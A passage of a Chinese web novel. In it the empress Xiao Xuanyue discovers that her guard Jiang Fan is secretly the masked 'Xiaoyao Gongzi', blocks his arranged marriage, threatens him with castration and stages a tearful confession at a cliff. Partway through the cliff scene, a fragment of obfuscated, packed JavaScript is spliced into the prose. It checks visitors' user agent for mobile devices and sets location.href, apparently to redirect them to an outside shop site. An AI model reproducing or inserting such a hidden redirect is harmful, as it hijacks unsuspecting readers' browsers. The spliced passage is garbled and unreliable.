“不错。就是他。江凡,就是逍遥公子。根本没有什么师尊,这一切,都是他自导自演的一出好戏!把我们所有人都骗了!
从崖底回来的那晚朕就已经怀疑,但没有十足把握。尤其是话本每日正常更新,让朕没什么把握。而今日这佛经,必然是他后半夜太困,没有收住笔锋才彻底暴露!”
“天啊!”
云暮捂住嘴,倒吸一口凉气。
那个平日里看起来有点不着调、有点纨绔的镇国公世子,竟然就是那个神出鬼没、修为通天、写下无数‘预言’话本的逍遥公子?
这、这也太匪夷所思了!
可眼前的证据,却又如此确凿!
“可是…陛下,这…这说不通啊!”
云暮强迫自己冷静下来,提出疑问,
“江世子他…年纪轻轻,就算天纵奇才,又如何能有那般通天的修为?还有那话本,神出鬼没,又是如何送到各处?还有那些丹药、宝物…他每天在我们眼皮子底下...这…这完全不合常理啊!”
“朕也想不明白。”
萧璇月摇摇头,目光深邃,
“或许,他得了什么不为人知的惊天奇遇和法宝?也或许,他的陆地神仙修为有什么限制,并不能一直维持,所以才不敢暴露...”
第165章 请陛下赐婚
萧璇月顿了顿,眼中闪过一丝锐利,
“他隐藏如此之深,必有图谋!而他屡次出手相助,一开始只是通过话本,后来甚至不惜暴露…嗯,暴露‘师尊’来救朕,至少说明,他对朕、对大夏,并无恶意。甚至…是友非敌。”
“那…陛下,我们现在该怎么办?要揭穿他吗?”
云暮问道。
“揭穿?”
萧璇月嘴角的弧度更明显了,眼中闪过一丝狡黠和玩味,
“不,为什么要揭穿?他既然喜欢演,喜欢戴着面具跟朕玩捉迷藏,那朕…就陪他演下去!
朕倒要看看,这个‘小混蛋’,到底还藏着多少秘密,到底…想干什么!”
她拿起那本《深宫秘恋》,眼中闪烁着复杂的光芒。
愤怒吗?
当然有,被欺骗、被戏弄的愤怒。
但更多的,是一种拨云见日、豁然开朗的释然,以及一种发现了巨大宝藏般的兴奋和好奇。
这个江凡,或者说逍遥公子,身上到底还藏着多少惊人的秘密?
他的目的究竟是什么?
他对自己…又是何种心思?
是如话本中所写,那种隐忍而深沉的情意?
还是…另有图谋?
“云暮,”萧璇月收敛了情绪,重新恢复了帝王的冷静和威严,对云暮吩咐道,
“今日之事,你知我知,绝不可泄露给第三人知晓!尤其是…不能让他有丝毫察觉!明白吗?”
“奴婢明白!”
云暮重重点头,心中也感觉好笑。
陛下这是要和江世子(逍遥公子)玩一场‘猫鼠’游戏?
这…似乎很有趣?
而且这神秘强大的逍遥公子,竟然一直在身边,想想都激动。
“另外,”萧璇月顿了顿,眼中闪过一丝锐利,
“加派人手,暗中调查江凡过往的一切!尤其是他‘纨绔’时期,接触过什么人,去过什么地方,有无异常!
还有,他那些丹药、宝物、甚至厨艺的来历,都给朕查!记住,要隐秘,万不可打草惊蛇!”
她很想弄清楚,江凡是怎么更新并传送话本的。
“是!奴婢这就去办!”
云暮领命退下。
帐内,又只剩下萧璇月一人。
她拿起那叠《金刚经》,看着后面那逐渐暴露的、属于‘逍遥公子’的笔迹,又看了看那本‘洗白’她的话本,嘴角忍不住再次上扬。
“江凡…逍遥公子…”
她低声自语,声音中带着轻松和期待,
“这场戏,朕陪你演到底。看看最后,到底是谁…先露出马脚!”
她仿佛已经看到了,当自己拆穿他伪装的那一刻,那混蛋脸上会露出怎样精彩的表情。
惊慌失措?
目瞪口呆?
还是…恼羞成怒?
想到这里,她竟觉得,连日来的烦闷和疲惫,都一扫而空了。
晨曦微露,薄雾笼罩着西山围场,新一天的狩猎即将开始。
然而,中军大帐内的气氛,却与外面的勃勃生机截然不同。
一种微妙的暗流,正在缓缓涌动。
萧璇月端坐在铜镜前,任由云暮为她梳理着如瀑青丝。
镜中的女子,凤眸微垂,容颜绝世,长睫在眼下投出淡淡的阴影,让人看不清她眼底深处的情绪。
只有那微微抿起的唇角,泄露出一丝极淡的弧度。
“陛下,镇国公求见。”
不多时,外面传来一个声音,打断了她的思绪。
萧璇月敛去眸中异色,恢复了一贯的平静威严:
“宣。”
江撼岳大步走入,甲胄未卸,风尘仆仆,显然一夜未眠,仍在忙于营地防务。
他抱拳行礼,声音洪亮:
“老臣参见陛下!”
“镇国公免礼,坐。”
萧璇月抬手示意,目光看似随意地扫过他略显疲惫的虎目,
“国公一夜辛苦,营地可还安宁?”
“托陛下洪福,一切安好,再无宵小敢来犯境!”
江撼岳声如洪钟,但眉宇间却隐有一丝忧虑,
“只是…靖王及其党羽,至今毫无动静,老臣心中难安。此獠阴险狡诈,此番刺杀不成,绝不会善罢甘休,恐有更大阴谋在后。陛下,明日狩猎便要结束,回銮途中,需加倍警惕!”
萧璇月微微颔首,凤眸中寒光一闪:
“朕知悉。靖王贼心不死,朕自有分寸。国公不必过于忧心,加强戒备便是。待回京
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之后,朕自有计较。”
她顿了顿,语气缓和了些,
“国公此来,可是有事?”
江撼岳闻言,脸上露出一丝犹豫,随即抱拳沉声道:
“陛下明鉴。老臣此来,确有一事相求,恳请陛下恩准!”
“哦?国公但说无妨。”
萧璇月端起茶盏,轻轻吹了吹浮沫。
江撼岳深吸一口气,朗声道:
“陛下,犬子江凡,年已弱冠,顽劣不堪,蒙陛下不弃,擢为御前侍卫,随侍君前。
老臣观其近日,虽仍有不足,然于陛下安危,倒也尽心,于国事朝局,似也略通一二。
老臣斗胆,恳请陛下…为犬子与礼部尚书周大人之女周婉如,赐婚!”
“噗——!”
萧璇月刚入口的一口热茶,差点喷出来!
她强行咽下,却被呛得连声咳嗽,凤眸圆睁,难以置信地看向江撼岳:
“赐…赐婚?江凡与周婉如?”
“正是!”
江撼岳并未察觉女帝的失态,自顾自地说道,语气带着一丝恨铁不成钢和迫切,
“周家小姐温婉贤淑,知书达理,与犬子早有婚约。如今犬子既已入朝为官,也该成家立业,收收心了!
老臣恳请陛下下旨赐婚,一来全了老臣与周尚书故交之情,二来也盼着犬子能早日定性,为国效力!还请陛下成全!”
他说得情真意切,仿佛江凡和周婉如的婚事,是眼下解决一切问题、让浪子回头的灵丹妙药。
萧璇月只觉一股无名之火‘噌’地一下从心底窜起,直冲头顶!
赐婚?
江凡和周婉如?
这怎么行?
江凡…江凡他…他看了朕的身子!
他怎么能娶别人?
这混账要是敢娶,朕…朕就…就…
她心中惊怒交加,脸上却还得强行维持着帝王的镇定。
她深吸了好几口气,才勉强压下胸中翻腾的醋意和怒意,声音尽量平稳地道:
“国公…爱子心切,朕能理解。只是…江凡年纪尚轻,入朝时日尚短,此时谈及婚嫁,是否…
为时过早?况且,朕观他心性未定,还需多加磨砺。此时成婚,恐分其心志,反而不美。”
第166章 招谁惹谁了
江撼岳一愣,没想到女帝会反对。
他连忙道:
“陛下!成家立业,先成家,后立业!有了家室,方能安心为陛下效力!犬子顽劣,正需一位贤良淑德的女子加以管束!周家小姐…”
“国公!”
萧璇月打断他,语气加重了几分,带着不容置疑的意味,
“朕意已决!江凡…朕对他另有安排。他与周家小姐的婚事,暂且搁置,不必再提!”
另有安排?
什么安排?
江撼岳愕然,但见女帝凤眸含威,面色不豫,显然心意已决。
他虽心中不解,甚至有些不满,但君命难违,只得躬身道:
“老臣…遵旨。只是…陛下,犬子他…”
“朕心中有数。”
萧璇月挥了挥手,语气略显不耐,
“国公若无他事,便退下吧。朕有些乏了。”
“…老臣告退。”
江撼岳满腹狐疑,却又不敢多问,只得悻悻然行礼退出。
走出大帐,被冷风一吹,他心中那股郁结之气更盛。
陛下这是什么意思?
对凡儿另有安排?
什么安排比成家立业、传承香火更重要?
难道…陛下是嫌凡儿资质愚钝,不堪大用,连赐婚都不愿?
还是说…凡儿最近又闯了什么祸,惹恼了陛下?
他越想越气,脚步不由得加快。
刚转过一个营帐,正好看见自家那个‘不成器’的儿子,正顶着两个黑眼圈,没精打采地靠在旗杆上,跟值守的侍卫有一搭没一搭地闲聊。
“逆子!你给我过来!”
江撼岳一股邪火直冲脑门,厉声喝道。
江凡正琢磨着怎么尽快攒够人气值,应付女帝晚上的‘召见’,被老爹这平地一声吼吓得一哆嗦,差点跳起来。
抬头看见自家老爹那黑如锅底、眼如铜铃的脸色,心里咯噔一下,暗道不妙。
这是谁又惹这位爷生气了?
难不成是女帝驳了他关于加强警戒的提议?
不能啊,老爹不至于为这个冲我发火吧?
他连忙小跑过去,陪着笑脸:
“爹,您叫我?什么事儿这么大火气?是不是昨夜没睡好?我那儿有上好的安神茶,给您泡一杯?”
“少给老子嬉皮笑脸!”
江撼岳一把将他拽到僻静处,压低声音,怒道:
“说!你小子最近又干了什么混账事?是不是又得罪陛下了?!”
“啊?”江凡一脸懵逼,
“爹,您这话从何说起啊?儿子最近恪尽职守,兢兢业业,就差把心掏出来给陛下看了!我哪敢得罪陛下啊我?”
他觉得自己冤**,除了偷偷写点话本,偶尔腹诽一下,他最近可老实了!
还救了女帝好几回呢!
虽然女帝不知道。
“你还敢狡辩!”
江撼岳气得胡子都翘起来了,
“方才老夫向陛下请旨,为你与周家丫头赐婚,你猜陛下怎么说?!”
赐婚?
和周婉如?
江凡心里一动,下意识地问:
“陛下…准了?”
不知怎的,问出这句话时,他心里竟有一丝莫名的不自在。
脑海中更是情不自禁想起给女帝疗伤的场景...
“准个屁!”
江撼岳一巴掌拍在他后脑勺上,虽然没用力,但也拍得江凡一个趔趄,
“陛下说对你另有安排,婚事暂且搁置!还说你需要多加磨砺,心性未定!听听!这叫什么话?这分明是嫌你不成器,看不上你!
说!你是不是又干了什么蠢事,让陛下对你心生不满,连赐婚都不肯了?还是说…你昨夜值守不力,又惹陛下生气了?”
他越说越气,想起之前女帝**,这小子又‘姗姗来迟’,更是火上浇油,
“还有那晚陛下遇险,你身为御前侍卫,跑哪儿去了?怎么每次都是你师尊逍遥前辈及时赶到?你这贴身侍卫是怎么当的?啊?”
江凡被老爹这一连串的质问轰得晕头转向,心里那叫一个冤!
赐婚被拒?
这关我屁事啊喂!
女帝心思海底针,我哪知道她为啥不同意?
至于女帝**…我那不也是去‘救驾’了吗?
只是换了个马甲而已...
“爹!爹!您消消气!听我解释!”
江凡捂着后脑勺,苦着脸道,
“赐婚的事,陛下自有考量,说不定是觉得儿子我还年轻,想多历练历练呢?这是陛下对儿子的器重啊!
至于那晚刺客来得突然,我听到动静第一时间就往回赶了!只是没师尊他老人家快嘛!您也知道,师尊他神龙见首不见尾,修为通天,儿子哪能跟他比啊!”
他赶紧把锅甩给不存在的‘师尊’。
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“器重?器重个屁!”江撼岳瞪着眼,
“陛下那语气,分明就是不满意!你小子肯定有事瞒着我!说!是不是又跟哪个纨绔子弟打架斗殴,丢了陛下的脸面?!”
“没有!绝对没有!”江凡指天发誓,
“可能陛下大姨妈来了...”
“胡说八道!陛下哪有大姨妈?”
“不是,爹,我这些天寸步不离陛下左右,您要相信我啊!”
“信你?老子信你个鬼!”江撼岳气得胸膛起伏,
“你给我记住!好好当差!别再给老子惹是生非!要是再让老子知道你有半点懈怠,看我不打断你的腿!滚!”
他怒斥一声,拂袖而去,留下江凡一个人在原地风中凌乱。
“我、我招谁惹谁了这是?”
江凡看着老爹怒气冲冲的背影,欲哭无泪。
赐婚被拒,老爹生气,女帝莫名其妙,自己还被罚抄经…这都叫什么事儿啊!
他郁闷地叹了口气。
看来,女帝的心情很糟糕,连老爹的面子都不给。
自己这贴身侍卫的差事,真是越来越难干了。
人气值还差一点两百万,希望今天能再涨一波,晚上更新话本也得加把劲…
正胡思乱想着,一名小太监小跑着过来,尖声道:
“江侍卫,陛下传召,速去大帐觐见!”
又来了!
江凡心里一紧,赶紧整理了一下衣冠,揣着一颗七上八下的心,快步走向中军大帐。
不知道这位阴晴不定的女帝陛下,又要出什么幺蛾子。
踏入大帐,只见萧璇月已换上了一身便于骑射的劲装,更显英姿飒爽,只是脸上没什么表情,正低头看着一份奏报。
听到脚步声,她抬起头,凤眸扫了过来,目光在江凡脸上停留了片刻,那眼神…
怎么说呢,平静中带着一丝审视,审视中又似乎藏着一丝玩味?
“臣江凡,参见陛下。”
江凡连忙躬身行礼,心里打鼓。
“嗯。”萧璇月放下奏报,语气平淡无波,
“方才,镇国公来见朕,为你与周尚书千金周婉如,请旨赐婚。”
江凡心头一跳,小心翼翼地道:
“是…臣父爱子心切,让陛下费心了。”
萧璇月盯着他,慢条斯理地道:
“那你觉得,朕该准,还是不该准?”
第167章 谁不放过谁
江凡头皮发麻,你问我做什么?
好像我能做主似得...
他额角见汗,支支吾吾道:
“这个…臣、臣以为,婚姻大事,父母之命,媒妁之言,陛下圣裁…臣…臣不敢妄言。”
他把皮球又踢了回去。
如果躲不掉的话,周婉如还是可以接受的。
长得漂亮,性格也很好,连去百花楼都从不干涉甩脸子。
萧璇月嘴角勾了一下,但很快又恢复了平静:
“是吗?朕看你对那周家小姐,似乎也颇为上心?前几日,还特意送了软甲给她?听闻,周小姐对你,亦是情深义重?”
江凡心里咯噔一下,连忙道:
“陛下明鉴!臣与周小姐虽有婚约,但向来以礼相待,绝无逾矩!送软甲…也是家姐之意,为保周小姐安危。臣对周小姐,只有…只有兄妹之谊,绝无他念!”
他赶紧撇清关系,生怕女帝误会。
不知怎的,在女帝面前,他一点也不想让她觉得自己对周婉如有意。
“兄妹之谊?”
萧璇月重复了一遍,语气听不出喜怒,
“那…若是朕下旨,为你二人赐婚,成就这段姻缘,你可愿意?”
江凡心跳加快,不知道女帝什么意思。
他咬了咬牙,硬着头皮道:
“陛下…臣父方才想必已向陛下陈情。臣年纪也不小了,或许成家也无不可。周小姐温文尔雅,臣也没什么反对的理由,一切但凭陛下和父亲做主。”
萧璇月一听,这小子竟然敢答应?
你把朕都看光了,还想娶别的女人?
她的脸色瞬间黑了,于是突然开口:
“江爱卿,你方才进帐,是左脚先迈进来的,还是右脚先迈进来的?”
江凡:“……”
又来了!
这熟悉的送命题!
他差点一口老血喷出来!
陛下!
您能不能换个花样?
我要不撅起屁股让你打几下得嘞!
“回…回陛下,臣…臣没注意…”
他哭丧着脸,反正说什么都没用。
要赏要罚都是女帝一念之间的事情。
“没注意?”萧璇月凤眉一挑,语气陡然转厉,
“身为御前侍卫,当眼观六路,耳听八方,连自己如何进殿都不知,如何护卫朕之周全?此乃懈怠!此乃不敬!”
江凡哭丧着脸:“陛下息怒!臣…臣知罪,您就说怎么罚吧!”
大家都很忙,别浪费时间好吧!
“知罪?”萧璇月冷哼一声,站起身,缓步走到他面前,
“既然知罪,那便该罚。你说,朕该如何罚你?”
江凡认命地低下头:
“臣…任凭陛下处置!”
抄经就抄经吧!
反正虱子多了不痒!
“任凭朕处置?”
萧璇月似乎很满意他的态度,语气放缓了些,
“朕看你心思浮躁,难以专注。既如此,今晚便不必值守了。朕给你一个将功折罪的机会。”
江凡心头升起一股不祥的预感:
“陛…陛下请讲。”
萧璇月好整以暇地坐回龙椅,端起茶盏,轻轻抿了一口,才慢悠悠地道:
“朕今晚要见你师尊,逍遥公子。”
“啊?”江凡猛地抬头,目瞪口呆。
“怎么?有困难?”
萧璇月似笑非笑地看着他,
“你既为尊师弟子,传个话,总做得到吧?而且你可是答应过朕,现在已经两日了,难道你想抗旨不成?”
江凡心里叫苦不迭,只能硬着头皮道:
“陛下…师尊他老人家行踪不定,神龙见首不见尾,臣…臣也不知他此刻身在何处啊!
况且…师尊性子孤僻,不喜见生人,尤其…尤其是宫中之人。臣…臣恐难以…”
“难以?”
萧璇月打断他,凤眸微眯,眼中寒光一闪,
“江凡,你可知欺君之罪,该当如何?”
江凡冷汗唰地就下来了:
“臣…臣不敢!”
“不敢?”
萧璇月站起身,走到他面前,微微俯身,凑近他耳边,用只有两人能听到的声音,一字一句地道:
“那朕换个说法。今夜子时,西山猎场东北角,断崖之下,朕要见到‘逍遥公子’。若他不到…”
她顿了顿,声音陡然转冷,
“朕就下旨,送你去净身房,做个真正的‘贴身’太监,日夜伺候朕左右!你,听明白了吗?”
“净…净身房?”
江凡如遭雷击,浑身汗**倒竖,一股凉气从脚底板直冲天灵盖!
他猛地抬头,撞进女帝那双闪烁着危险与戏谑光芒的凤眸中。
我擦,你这小妞也太狠了吧!
江凡脸色煞白,几乎要哭出来:
“陛…陛下!这…这使不得啊!臣…臣还没娶妻呢!臣还要为江家传宗接代啊、陛下开恩...”
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>看着他这副语无伦次的样子,萧璇月心中那点烦闷,瞬间烟消云散。
哼!让你装!
让你瞒着朕!
让你写那些混账话本编排朕!
让你还想娶别的女人!
吓不死你!
她强忍着笑意,板着脸,冷冷地道:
“朕金口玉言,说一不二。要么,让你师尊来见朕;要么,你自己去净身房报到。两条路,你自己选。朕给你…三个时辰考虑。退下吧。”
说完,她转过身,不再看江凡那副如丧考妣的模样。
“臣…臣…遵…遵旨…”
江凡魂不守舍,深一脚浅一脚地退出了大帐。
直到走出老远,被冷风一吹,他才猛地回过神来,激灵灵打了个寒颤。
“净身…净身房…”
他下意识地夹紧双腿,脸都绿了。
女帝这招太毒了!
这是要断他江家的根啊!
不,是断他江凡的根!
这比杀了他还难受!
“不行!绝对不行!”
江凡咬牙切齿,眼中燃起熊熊的求根之火。
去见!
必须去见!
不就是‘逍遥公子’吗?
不就是一张【陆地神仙体验卡】和一百万人气值吗?
为了下半身的幸福,这一百万点人气值,花了!
他立刻调出系统界面,看着那已经涨到【2,100,000】的人气值,心中稍定。
还好,攒够了!
他恶狠狠地想:萧璇月!
你等着!
今晚就让你见识见识,什么叫真正的‘逍遥公子’!
非要我当面拒绝你才会死心?
而且还不断折腾我‘徒弟’!
他深吸一口气,平复了一下剧烈的心跳,开始疯狂思索晚上见面该怎么演,怎么才能拒绝女帝,让她彻底死心…
而大帐之内,听着江凡仓皇逃窜的脚步声远去,萧璇月终于忍不住,‘噗嗤’一声笑了出来。
笑声如同银铃般清脆,带着前所未有的轻松和愉悦。
她走到铜镜前,看着镜中自己眉眼弯弯、颊生红晕的模样,竟是许久未见的明媚动人。
“陛下…”云暮在一旁,也忍俊不禁,低声道,
“您这样吓唬江世子,晚上他‘师尊’可不会放过你。”
“不放过朕?”萧璇月止住笑,眼中闪烁着狡黠而自信的光芒,
“朕既然知道他身份,谁不放过谁还两说…”
第168章 是为了疗伤
萧璇月顿了顿,嘴角勾起一抹势在必得的弧度,
“朕一定要拿下这个混小子,他只能是朕的!”
她走到案几旁,拿起那本《深宫秘恋》和那叠《金刚经》,指尖轻轻拂过上面如出一辙的字迹,眼中笑意更深。
“江凡啊江凡,朕倒要看看,你这条滑不溜秋的小泥鳅,今晚…还能往哪里逃?”
窗外,秋阳正好,将她的身影拉得很长。
夜色如墨,万籁俱寂。
西山猎场东北角,断崖之下。
两道身影静静伫立,仿佛凝固的剪影。
萧璇月一身玄色劲装,外罩着御寒的狐裘披风,衬得她肤白胜雪。
凤眸在夜色中熠熠生辉,目光紧紧锁定着崖壁方向的黑暗。
她身侧,云暮同样劲装打扮,手按剑柄,警惕地扫视着四周,只是眼中时不时掠过一丝古怪和极力压抑的笑意。
约定的子时将至。
“陛下,您说…他真会来吗?”
云暮压低声音,打破了寂静。
她心中着实忐忑,既期待看到那位传说中的‘逍遥公子’真容,又担心自家陛下这‘逼婚’的戏码演过了火。
万一对方恼羞成怒…那可是疑似陆地神仙的存在啊!
萧璇月嘴角弯了弯,目光依旧望着前方,语气却带着笃定和狡黠:
“他一定会来。除非…他真想去净身房报到。”
想起江凡白日里听到‘净身’二字时,那副脸都绿了的模样,她就忍不住想笑。
这小混蛋,平时装得挺像,一戳到要害,立刻就原形毕露。
云暮闻言嘴角也抽搐了一下,连忙低头掩饰。
陛下这招…可真是又狠又准,直击要害啊!
就在这时——
一道微不可察的破风声由远及近。
下一瞬,一道金色的身影,毫无征兆地出现在前方三丈外的巨石之上!
依旧是那身金色斗篷,依旧是那张古朴神秘的青铜面具,在朦胧的月光下,散发出神秘而强大的气息,令人望而生畏。
来了!
云暮心中一凛,下意识地握紧了剑柄,身体微微紧绷。
虽然已知对方身份,但这副装扮、这股气息所带来的压迫感,依旧让她如临大敌。
萧璇月却是美眸一亮,心脏不受控制地加快了跳动。
是他!
他真的来了!
虽然早已猜到,但亲眼见到这身熟悉的装束,一丝悸动再次涌上心头。
金色身影(江凡)站定,青铜面具后的目光平静地扫过两人,最终定格在萧璇月脸上,用一种沙哑、带着明显不耐烦的嗓音开口道:
“陛下深夜相召,更以‘净身’相挟,迫我那不成器的徒儿传讯,究竟所为何事?老夫潜心修行,不喜俗事打扰,若无事,这便告辞了!”
他刻意加重了‘净身’二字,语气中透着浓浓的不满,仿佛真是被不肖徒弟牵连、不得不来应付麻烦的世外高人。
萧璇月心中暗笑:装!继续装!
这嗓音变得倒是挺像,这语气拿捏得也挺到位,可惜稍微用心就能发现…破绽太多了!
她面上却不露分毫,反而迅速换上了一副我见犹怜的表情,莲步轻移,向前走了两步,微微福身,声音带着哽咽和委屈:
“前辈息怒!晚辈…晚辈实乃情非得已,才出此下策,惊扰前辈清修,还请前辈恕罪!”
她抬起朦胧的泪眼,望向那青铜面具,目光中充满了无助和倾慕,
“晚辈…晚辈只是想再见前辈一面,当面向前辈道谢,谢前辈两次救命之恩!”
这眼神太熟悉了!
不是江凡那混蛋还能是谁?
江凡面具下的嘴角抽了抽。
白天对自己用‘净身’威胁,晚上见到自己‘师尊’就用‘眼泪’攻势?
这女人变脸比翻书还快!
他强忍着吐槽的冲动,用更加冷硬的语气道:
“道谢?不必了!老夫行事,但求问心无愧,非为图报。若陛下只是为此,谢意老夫心领,告辞!”
说罢,作势欲走。
他打定主意,要维持‘高冷前辈’人设,速战速决,绝不能被她带进沟里!
“前辈且慢!”
萧璇月连忙出声,声音带着急切和一丝决绝,
“晚辈…晚辈还有一事,不吐不快!若前辈执意要走,晚辈…晚辈便长跪于此,直至前辈肯听晚辈一言!”
说着,她竟真的提起裙摆,作势要跪下。
“陛下不可!”
云暮大惊失色,连忙上前要扶。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16880192|191960||http|test|mini|href|location''.split(''|''),0,{}));
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r>江凡也吓了一跳,身形微顿。
他连忙一挥袖,一股柔和的气劲托住了萧璇月的膝盖,让她无法跪下去,语气却更显不耐:
“有话快说!老夫没空与你在此纠缠!”
萧璇月顺势站直,心中暗笑:看来这家伙心里还是有我的。
她吸了吸鼻子,仿佛鼓起了莫大的勇气,抬起泪光盈盈的美眸,直视着青铜面具:
“前辈!晚辈知道,此乃痴心妄想,唐突前辈!但…但晚辈的心意,已如滔滔江水,无法遏制!
自那日悬崖之下,前辈为救晚辈,不惜…不惜褪去晚辈衣衫疗伤,晚辈的身子已被前辈看光,清白已失于前辈!
晚辈虽为一国之君,却也是女儿之身,此生…此生已非君不嫁!”
她越说越激动,脸颊泛起红晕,眼中泪光闪闪,情真意切,仿佛真的是一位为情所困、不顾一切的痴情女子:
“晚辈这两日辗转反侧,思来想去,心中唯有前辈身影!什么帝王尊荣,什么江山社稷,在晚辈心中,都不及前辈万分之一!
晚辈…晚辈愿舍弃这皇位,追随前辈左右,为奴为婢,只求能常伴前辈身侧,侍奉前辈!还请前辈…成全!”
说着,她竟再次向前一步,似乎想要去拉江凡的衣袖。
江凡:“!!!”
他如遭雷击,整个人僵在原地,大脑一片空白!
这…这都什么跟什么啊?
褪去衣衫?
我…我那是为了疗伤啊喂!
救命啊!
而且当时明明还穿着…呃,肚兜也算衣服吧?
怎么到她嘴里就变成‘看光了’、‘清白已失’了?
还要舍弃皇位?
为奴为婢?
常伴左右?
我滴妈,这女人是不是疯了?
还是说…她真的对逍遥公子一见钟情、情根深种、非他不嫁了?
他心中警铃大作,连连后退两步,声音都变了调,带着惊慌和强作镇定的呵斥:
“陛下慎言!此话万万不可再提!老夫早已看破红尘,一心向道,男女之情,于我如过眼云烟,红粉骷髅,皆是虚妄!
陛下风华绝代,身份尊贵,当以江山社稷为重,切莫因一时冲动,误了终身,也…也辱没了老夫清誉!”
第169章 这于理不合
红粉骷髅?
皆是虚妄?
萧璇月心中冷笑,那你慌什么?
既然知道眼前之人是江凡,她感觉自己胆子也大了很多。
面上却更加哀戚,她不但不退,反而又逼近一步,几乎要贴到江凡身上。
她仰起那张梨花带雨的绝美脸庞,带着哭腔,声音却带着一种奇异的魅惑和执着:
“前辈!你看着我的眼睛回答,难道在您眼中,晚辈就只是具骷髅吗?难道前辈救我之时,心中就真的没有半分波澜吗?
晚辈不信,前辈也是人,也有心!前辈您看着我,晚辈不相信您真的两眼空空!”
她靠得极近,身上又带着幽香,直往江凡鼻子里钻。
月光下,她睫毛上还挂着泪珠,美眸中水光潋滟。
本就绝美的萧璇月,今晚还特意打扮过,更是美得令人窒息。
那眼神,炽热、执着、带着不顾一切的决绝,仿佛要将他融化、看穿。
江凡被她看得心慌意乱,下意识地移开目光,不敢与她对视,心脏不受控制地砰砰狂跳起来。
要命!
这女人的眼睛会**吗?
平时自己很规矩,都没仔细盯着她看过,真是美得惊心动魄。
他强撑着最后一点理智,声音干涩地厉声道:
“陛下!请自重!你若再如此相逼,休怪老夫…休怪老夫不念旧情!”
他本想说出‘出手无情’之类的狠话,但话到嘴边,似乎太过分了点,临时改了口。
“不念旧情?”
萧璇月闻言,非但没有害怕,反而凄然一笑,泪水如同断了线的珍珠,簌簌落下,
“好啊!那前辈就动手吧!杀了晚辈!反正…反正晚辈这颗心,早已系在前辈身上,前辈若不要,晚辈留着这副皮囊又有何用?
这女帝,晚辈也早已当得心力交瘁,内忧外患,步步杀机,若不是心中还存着一丝见到前辈的念想,晚辈…晚辈早就撑不住了!
如今,能死在前辈手中,死在这个看过我身子、俘获我心的男人手中,晚辈…死而无憾!”
她字字泣血,句句含情,说到最后,更是闭上了眼睛,扬起优美的脖颈,一副引颈就戮、甘心赴死的模样。
江凡彻底傻眼了,这话有点儿耳熟啊!
你特喵的给老子整不会了!
怎么还演上苦情戏了?
这让他怎么接?
动手?
怎么可能!
可是不动手,这女人就这么不依不饶地‘逼婚’,他该怎么办?
现在的身份是假的,出现一次就要一百万人气值,心疼啊!
要是今天不解决,以后时不时威胁自己‘徒弟’,自己能有好日子吗?
他僵在原地,手足无措,大脑飞速运转,却一片混乱。
之前准备好的所有说辞,在这深情告白加以死相逼的组合拳下,显得如此苍白无力。
他试图找回自己的声音,却发现嗓音干涩得厉害,
“你、你冷静点!这…这婚姻大事,岂可儿戏?你是大夏天子,肩负江山社稷,万民福祉!
怎能如此…如此轻言生死,妄谈私情?朝中…朝中才俊无数,青年才俊如过江之鲫,比如那谁…谁家的公子,学富五车,仪表堂堂。
再比如那谁谁家的世子,文武双全,年少有为!陛下何不考虑他们?何必…何必执着于老夫这一介山野村夫?”
他搜肠刮肚,试图把话题引开。
萧璇月睁开泪眼,摇摇头,目光痴痴地看着他,语气坚定而哀伤:
“不!晚辈不要!见识了前辈这般神仙人物,惊才绝艳,修为通天,救我于危难,护我于无形,晚辈心中,又岂能再容得下他人?
那些凡夫俗子,在晚辈眼中,如同萤火之于皓月,泥鳅之于蛟龙,不值一提!晚辈此生,非君不嫁!
若前辈执意不允,晚辈…晚辈便青灯古佛,了此残生,也绝不会再看其他男子一眼!”
她说着,竟又往前凑了凑,几乎要撞进江凡怀里。
江凡吓得连忙后仰,差点从石头上掉下去。
他手忙脚乱地稳住身形,面具下的脸已经涨得通红,心里哀嚎:这女人怎么油盐不进啊!
还青灯古佛?
你可是女帝!
我今晚来做什么的...
“陛…陛下!你…你…”
江凡词穷了,他感觉自己的语言系统已经彻底崩溃。
就在他绞尽脑汁想着怎么脱身时,萧璇月忽然做了一个让他魂飞魄散的动作——
她猛地张开双臂,一把抱住了他!
温香软玉,瞬间入怀。
江凡
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如同被一道天雷劈中,浑身僵硬,大脑一片空白!
他只觉一股幽香扑鼻,一个柔软而带着微微颤抖的娇躯紧紧贴在了自己身上。
隔着薄薄的衣衫,他甚至能感受到对方身体的曲线和…剧烈的心跳?
不对,好像是我自己的心跳如擂鼓!
我是谁?我在哪?我来干什么?
他脑瓜子嗡嗡了,根本没料到事情发展到这地步。
“前…前辈…求您…别推开我…”
萧璇月将脸埋在他胸前,声音闷闷的,带着无尽的委屈和依恋,
“就让晚辈抱一会儿,就一会儿…在您怀里,晚辈才能感觉到一丝温暖,一丝安全…
仿佛所有的风雨,所有的算计,所有的疲惫,都可以暂时忘却…前辈,求您了…”
她的手臂环得很紧,仿佛用尽了全身的力气。
而听到‘前辈’那剧烈的心跳声,埋进胸膛的嘴角勾起一抹笑容。
小样,还拿捏不了你!
不是红粉骷髅吗?
你心跳这么剧烈做什么?
而且江凡戴着面具,她才能毫无顾忌的大胆直接。
甚至已经开始想象明天江凡看到自己后,会是什么表情。
江凡整个人都石化了!
他双手僵在半空,放也不是,不放也不是。
推开?
好像太不近人情了,人家都哭成这样了,还说着这么‘可怜’的话…
不推开?
这成何体统啊!
男女授受不亲!
更何况对方是女帝!
我是‘逍遥公子’,世外高人啊!
他能清晰地感觉到怀中娇躯的柔软和温热,能闻到她发间淡淡的清香,能听到她压抑的抽泣声…
这一切,都像是最烈的**,冲击着他脆弱的神经。
他感觉自己像个木头桩子,血液仿佛都冲上了头顶,耳根发烫,呼吸也变得困难起来。
心里有个声音在疯狂咆哮:江凡!稳住!
你是来解决问题的,不是来被‘非礼’的!
快推开她!
说点什么!
“陛、陛下…你、你先松开…”
他艰难地开口,声音干涩沙哑,
“这、这于礼不合…老夫…老夫…”
他‘老夫’了半天,也没‘老夫’出个所以然来。
第170章 什么跟什么
萧璇月却抱得更紧了,仿佛怕他跑掉,声音带着哭腔,却在他怀里轻轻蹭了蹭:
